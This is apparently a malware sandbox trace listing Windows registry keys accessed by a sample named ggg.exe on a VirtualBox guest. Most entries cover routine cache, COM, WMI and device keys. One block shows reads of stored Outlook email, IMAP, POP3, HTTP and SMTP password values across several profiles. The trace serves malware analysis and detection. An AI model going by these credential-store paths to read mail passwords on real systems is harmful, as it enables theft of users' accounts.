HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheOptions
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\ggg.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\*
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionLow
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionHigh
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionLow
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionHigh
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MissingDependencies
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LoadUserSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00\3&267A616A&0&20\Class
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\CDROMVBOX_CD-ROM_____________________________1.0_____\5&106AF171&0&1.0.0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_7111&SUBSYS_00000000&REV_01\3&267A616A&0&09\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2617AEAE&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&1\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_2829&SUBSYS_00000000&REV_02\3&267A616A&0&68\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00\3&267A616A&0&10\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ClassGUID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Data
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{29C33724-2DB4-437F-8D9F-CF610068A4BF}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\MarshaledProxy
